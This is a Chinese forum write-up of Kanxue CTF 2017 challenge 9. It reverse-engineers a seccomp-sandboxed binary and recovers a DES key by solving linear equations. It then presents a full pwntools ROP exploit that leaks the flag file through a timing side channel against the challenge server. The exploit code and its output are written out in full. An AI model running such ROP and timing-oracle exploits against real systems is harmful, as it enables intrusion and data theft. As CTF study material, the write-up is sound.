9

[原创]看雪CTF2017第9题

风间仁 2017-6-18 17:09 875

1. 处理逻辑

seccomp初始化, 没有SYS_write, 没法输出

.text:0000000000000BD3                 call    seccomp_init
.text:0000000000000BD8                 test    rax, rax
.text:0000000000000BDB                 jz      loc_C80
.text:0000000000000BE1                 mov     rbx, rax
.text:0000000000000BE4                 mov     esi, AUDIT_ARCH_X86_64
.text:0000000000000BE9                 mov     rdi, rax
.text:0000000000000BEC                 call    seccomp_arch_add
.text:0000000000000BF1                 mov     rdi, rbx
.text:0000000000000BF4                 xor     esi, esi
.text:0000000000000BF6                 call    rule_allow
.text:0000000000000BFB                 mov     rdi, rbx
.text:0000000000000BFE                 mov     esi, SYS_open
.text:0000000000000C03                 call    rule_allow
.text:0000000000000C08                 mov     rdi, rbx
.text:0000000000000C0B                 mov     esi, SYS_close
.text:0000000000000C10                 call    rule_allow
.text:0000000000000C15                 mov     rdi, rbx
.text:0000000000000C18                 mov     esi, SYS_stat
.text:0000000000000C1D                 call    rule_allow
.text:0000000000000C22                 mov     rdi, rbx
.text:0000000000000C25                 mov     esi, SYS_fstat
.text:0000000000000C2A                 call    rule_allow
.text:0000000000000C2F                 mov     rdi, rbx
.text:0000000000000C32                 mov     esi, SYS_lstat
.text:0000000000000C37                 call    rule_allow
.text:0000000000000C3C                 mov     rdi, rbx
.text:0000000000000C3F                 mov     esi, SYS_poll
.text:0000000000000C44                 call    rule_allow
.text:0000000000000C49                 mov     rdi, rbx
.text:0000000000000C4C                 mov     esi, SYS_lseek
.text:0000000000000C51                 call    rule_allow
.text:0000000000000C56                 mov     rdi, rbx
.text:0000000000000C59                 mov     esi, SYS_brk
.text:0000000000000C5E                 call    rule_allow
.text:0000000000000C63                 mov     rdi, rbx
.text:0000000000000C66                 mov     esi, SYS_execve
.text:0000000000000C6B                 call    rule_allow
.text:0000000000000C70                 mov     rdi, rbx
.text:0000000000000C73                 pop     rbx
.text:0000000000000C74                 jmp     seccomp_load


用线性方程组验证key, 成功后使用该key解密输入的内容

输入格式: n(1字节) + key(8字节) + 加密的数据(8 * n)

.text:0000000000001060 sub_1060

  if ( read(0, &buf, 1u) != 1
    || (len = (unsigned int)(8 * buf.n), out = malloc(8 * buf.n), read(0, buf.key, 8u) != 8)
    || 20327 * buf.key[4]
     + 23911 * buf.key[3]
     + 18211 * buf.key[2]
     + 31063 * buf.key[1]
     + 30971 * buf.key[0]
     + 20921 * buf.key[5]
     + 20149 * buf.key[6]
     + 17477 * buf.key[7] != 14985352
    || 29759 * buf.key[6]
     + 23633 * buf.key[5]
     + 20641 * buf.key[4]
     + 31121 * buf.key[3]
     + 16699 * buf.key[2]
     + 20359 * buf.key[1]
     + 20051 * buf.key[0]
     + 25111 * buf.key[7] != 14962906
    || 27457 * buf.key[6]
     + 17291 * buf.key[5]
     + 26099 * buf.key[4]
     + 23333 * buf.key[3]
     + 25561 * buf.key[2]
     + 27073 * buf.key[1]
     + 25943 * buf.key[0]
     + 30839 * buf.key[7] != 16361024
    || 19079 * buf.key[6]
     + 18959 * buf.key[5]
     + 32191 * buf.key[4]
     + 25411 * buf.key[3]
     + 29167 * buf.key[2]
     + 18313 * buf.key[1]
     + 29873 * buf.key[0]
     + 16879 * buf.key[7] != 14982624
    || 23581 * buf.key[6]
     + 20509 * buf.key[5]
     + 28859 * buf.key[4]
     + 32441 * buf.key[3]
     + 19469 * buf.key[2]
     + 29437 * buf.key[1]
     + 16607 * buf.key[0]
     + 26849 * buf.key[7] != 16152948
    || 17431 * buf.key[6]
     + 26981 * buf.key[5]
     + 19973 * buf.key[4]
     + 18869 * buf.key[3]
     + 26161 * buf.key[2]
     + 19927 * buf.key[1]
     + 16823 * buf.key[0]
     + 26633 * buf.key[7] != 14720714
    || 31397 * buf.key[6]
     + 22091 * buf.key[5]
     + 25793 * buf.key[4]
     + 30577 * buf.key[3]
     + 28349 * buf.key[2]
     + 19073 * buf.key[1]
     + 26821 * buf.key[0]
     + 26947 * buf.key[7] != 16722910
    || 19447 * buf.key[7]
     + 27793 * buf.key[6]
     + 22691 * buf.key[5]
     + 29629 * buf.key[4]
     + 26183 * buf.key[3]
     + 30817 * buf.key[2]
     + 17737 * buf.key[1]
     + 25339 * buf.key[0] != 15883204 )
  {
    MEMORY[0] = 0;
    BUG();
  }
  _read_chk(0, buf.buf, len, 0x800u);
  ks = malloc(0x80u);
  DES_set_key(buf.key, ks);
  DES_cbc_encrypt(buf.buf, out, len, ks, buf.key, 0LL);

 

这个有点像算术运算器

.text:0000000000000C90

op_code取值范围: 0x10~0x1F
这里仅列出有用到的op_code
10: r[0]=r[0]+r[1]
11: r[0]=r[1]-r[0]
14: r[0]=r[r[0]]
15: r[r[1]]=r[0]
16: push imm64
1F: ret


2. 利用分析

matlab解方程得到key: 3xpL0r3R

30971 * a + 31063 * b + 18211 * c + 23911 * d + 20327 * e + 20921 * f + 20149 * g + 17477 * h = 14985352
20051 * a + 20359 * b + 16699 * c + 31121 * d + 20641 * e + 23633 * f + 29759 * g + 25111 * h = 14962906
25943 * a + 27073 * b + 25561 * c + 23333 * d + 26099 * e + 17291 * f + 27457 * g + 30839 * h = 16361024
29873 * a + 18313 * b + 29167 * c + 25411 * d + 32191 * e + 18959 * f + 19079 * g + 16879 * h = 14982624
16607 * a + 29437 * b + 19469 * c + 32441 * d + 28859 * e + 20509 * f + 23581 * g + 26849 * h = 16152948
16823 * a + 19927 * b + 26161 * c + 18869 * d + 19973 * e + 26981 * f + 17431 * g + 26633 * h = 14720714
26821 * a + 19073 * b + 28349 * c + 30577 * d + 25793 * e + 22091 * f + 31397 * g + 26947 * h = 16722910
25339 * a + 17737 * b + 30817 * c + 26183 * d + 29629 * e + 22691 * f + 27793 * g + 19447 * h = 15883204


提供的op_code可以读写栈内容, 因此可以覆盖返回地址进行ROP

没有SYS_write权限, execve也执行不了

提供了SYS_poll权限, 可以用来模拟sleep

从文件读取一个字符后, 比较该字符与给定的字符是否相同, 

不相同直接退出, 相同则sleep一段时间再退出 

根据返回时间判断是否找到了对的字符

如此循环


3. 利用脚本

from pwn import *
from Crypto.Cipher import DES
context(arch='amd64', kernel='amd64', os='linux')
context.log_level='error'
# python test.py LOCAL=True IDA=True
# python test.py LOCAL=True
# python test.py 

if args['LOCAL']:
	libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
	libc_memcmp=0x143D70
	libc_jz=0xA8ED2
else:
	libc=ELF('./ctflibc.so.6')
	libc_memcmp=0x15E790
	libc_jz=0xB9FB0
	
def search(elf, pattern, from_addr=0):
	results=elf.search(pattern)
	for result in results:
		if (result>from_addr): 
			#print hex(result)
			return result
	return 0
	
def search_asm(elf, inst, from_addr=0):
	return search(elf,asm(inst),from_addr)
	
libc_start_main_ret=search_asm(libc,'call rax;mov edi,eax',libc.symbols['__libc_start_main'])+len(asm('call rax'))
libc_open=libc.symbols['open']
libc_read=libc.symbols['read']
libc_poll=libc.symbols['poll']
libc_lseek=libc.symbols['lseek64']
libc_exit=libc.symbols['exit']
libc_rax=search_asm(libc,'pop rax;ret', 0x20000)
libc_rdi=search_asm(libc,'pop rdi;ret', 0x20000)
libc_rsi=search_asm(libc,'pop rsi;ret', 0x20000)
libc_rdx=search_asm(libc,'pop rdx;ret', 0x20000)
#search_asm(libc, 'mov rax, rbx;pop rbx;pop rbp; pop r12;pop r13; pop r14')

def des_encrypt(text):
	key='3xpL0r3R'
	iv=key
	des=DES.new(key, DES.MODE_CBC, iv)
	pad=''
	if (len(text)%8) != 0:
		pad='\x00'*(8 - len(text) % 8)
	text = text + pad
	return des.encrypt(text)
	
def op_push_imm(i):
	buf=''
	buf+=p8(0x16)+p64(i)
	return buf
	
def op_push_var(idx):
	buf=''
	buf+=op_push_imm(idx)
	buf+=p8(0x14) # load
	return buf
	
def op_set_var_by_imm(imm,write_idx):
	buf=''
	buf+=op_push_imm(imm)	
	buf+=op_push_imm(write_idx)
	buf+=p8(0x15) # store	
	return buf
	
def op_add_var_by_imm(read_idx,imm,write_idx):
	buf=''
	if imm > 0:
		buf+=op_push_var(read_idx)
		buf+=op_push_imm(imm)
		buf+=p8(0x10) # add
	else:
		buf+=op_push_imm(0-imm)
		buf+=op_push_var(read_idx)
		buf+=p8(0x11) # sub		
	buf+=op_push_imm(write_idx)
	buf+=p8(0x15) # store	
	return buf
	
def op_exit():
	global index
	buf=''	
	buf+=op_add_var_by_imm(1, libc_rdi, index)
	buf+=op_set_var_by_imm(0, index+1)
	buf+=op_add_var_by_imm(1, libc_exit, index+2)
	index+=3
	return buf
	
def op_open(file_idx):
	global index
	buf=''	
	buf+=op_add_var_by_imm(1, libc_rdi, index)
	buf+=op_add_var_by_imm(2, file_idx*8, index+1)
	buf+=op_add_var_by_imm(1, libc_rsi, index+2)
	buf+=op_set_var_by_imm(0, index+3)
	buf+=op_add_var_by_imm(1, libc_rdx, index+4)
	buf+=op_set_var_by_imm(0, index+5)
	buf+=op_add_var_by_imm(1, libc_open, index+6)
	index+=7
	return buf
	
def op_read(fd,buf_idx,buf_len):
	global index
	buf=''	
	buf+=op_add_var_by_imm(1, libc_rdi, index)
	buf+=op_set_var_by_imm(fd, index+1)
	buf+=op_add_var_by_imm(1, libc_rsi, index+2)
	buf+=op_add_var_by_imm(2, buf_idx*8, index+3)
	buf+=op_add_var_by_imm(1, libc_rdx, index+4)
	buf+=op_set_var_by_imm(buf_len, index+5)
	buf+=op_add_var_by_imm(1, libc_read, index+6)
	index+=7
	return buf
	
def op_lseek(fd,offset):
	global index
	buf=''	
	buf+=op_add_var_by_imm(1, libc_rdi, index)
	buf+=op_set_var_by_imm(fd, index+1)
	buf+=op_add_var_by_imm(1, libc_rsi, index+2)
	buf+=op_set_var_by_imm(offset, index+3)
	buf+=op_add_var_by_imm(1, libc_rdx, index+4)
	buf+=op_set_var_by_imm(0, index+5)
	buf+=op_add_var_by_imm(1, libc_lseek, index+6)
	index+=7
	return buf
	
def op_memcmp(src_idx,dst_idx):
	global index
	buf=''	
	buf+=op_add_var_by_imm(1, libc_rdi, index)
	buf+=op_add_var_by_imm(2, src_idx*8, index+1)
	buf+=op_add_var_by_imm(1, libc_rsi, index+2)
	buf+=op_add_var_by_imm(2, dst_idx*8, index+3)
	buf+=op_add_var_by_imm(1, libc_rdx, index+4)
	buf+=op_set_var_by_imm(1, index+5)
	buf+=op_add_var_by_imm(1, libc_memcmp, index+6)
	index+=7
	return buf
	
def op_poll(seconds):
	global index
	buf=''	
	buf+=op_add_var_by_imm(1, libc_rdi, index)
	buf+=op_set_var_by_imm(0, index+1)
	buf+=op_add_var_by_imm(1, libc_rsi, index+2)
	buf+=op_set_var_by_imm(0, index+3)
	buf+=op_add_var_by_imm(1, libc_rdx, index+4)
	buf+=op_set_var_by_imm(1000*seconds, index+5)
	buf+=op_add_var_by_imm(1, libc_poll, index+6)
	index+=7
	return buf
	
def op_ret(v):
	buf=''
	buf+=op_push_imm(v)
	buf+=p8(0x1f)
	return buf
	
def get_one_char(file_offset):
	global index	
	for i in range(256):
		if args['LOCAL']:
			if args['IDA']:
				io=process('./linux_serverx64')
				print io.recvline()
				print io.recvline()
				print io.recvline()
				print io.recvline()
			else:
				io=process('./main')
		else:
			io=remote('211.159.216.90',51888)	
			
		#print 'trying '+str(i)
		'''
		data=''
		data+=op_push_imm(3)
		data+=op_push_imm(4)
		data+=p8(0x1A)
		data+=p64(0x1122334455667788)
		'''
		
		data=''
		data+=op_push_imm(0) # used to store libc base
		data+=op_push_imm(0) # used to store stack base
		data+=op_push_imm(u64('./flag'.ljust(8,'\x00'))) # flag path
		data+=op_push_imm(0) # used to store char read from file
		data+=op_push_imm(i) # used to store the char to compare with
		# store libc base
		data+=op_add_var_by_imm(0x3F5, 0-libc_start_main_ret, 1)
		data+=op_add_var_by_imm(0x3EE, 0-0x2080, 2)
		# write rop chain
		index=0x3F5
		
		data+=op_open(3) # open('./flag',0,0)
		data+=op_lseek(3,file_offset) # lseek(3, offset, SEEK_SET)
		data+=op_read(3,4,1) # read(3, buf, 1)
		data+=op_memcmp(4,5) # memcmp(buf, stack_var, 1)
		
		# jnz exit
		data+=op_add_var_by_imm(1, libc_jz, index); index+=1
		data+=op_set_var_by_imm(0,index); index+=1
		data+=op_set_var_by_imm(0,index); index+=1
		data+=op_set_var_by_imm(0,index); index+=1
		data+=op_set_var_by_imm(0,index); index+=1
		data+=op_set_var_by_imm(0,index); index+=1
	
		data+=op_poll(3) # sleep(3)
		data+=op_exit()
		data+=op_ret(0)
		
		data=des_encrypt(data)	
		buf=''
		buf+=p8(len(data)/8)
		buf+='3xpL0r3R'
		buf+=data
		io.send(buf)
		try:
			io.recvline(timeout=1)
			io.close()
			return i
		except:
			io.close
			continue
		break
	return -1
def exploit():
	chars='PediyCtf2017'
	for i in range(len(chars),256):
		ch=get_one_char(i)
		if (ch==-1 or ch==0):
			break
		chars+=chr(ch)
		print chars
        return
	
exploit(


输出结果

chars='' 
root@kali:~/Desktop/9# python test.py
P
Pe
Ped
Pedi
Pediy
PediyC
PediyCt
PediyCtf
PediyCtf2
PediyCtf20
PediyCtf201
PediyCtf2017

这里打开fd太多出错, 设置已得到的结果, 重新运行

chars='PediyCtf2017'
root@kali:~/Desktop/9# python test.py
PediyCtf2017P
PediyCtf2017Pw
PediyCtf2017Pwn
PediyCtf2017Pwn@
PediyCtf2017Pwn@2
PediyCtf2017Pwn@23
PediyCtf2017Pwn@233



最新回复 (1)
5
poyoten 2017-6-19 12:54
2
学习了。
返回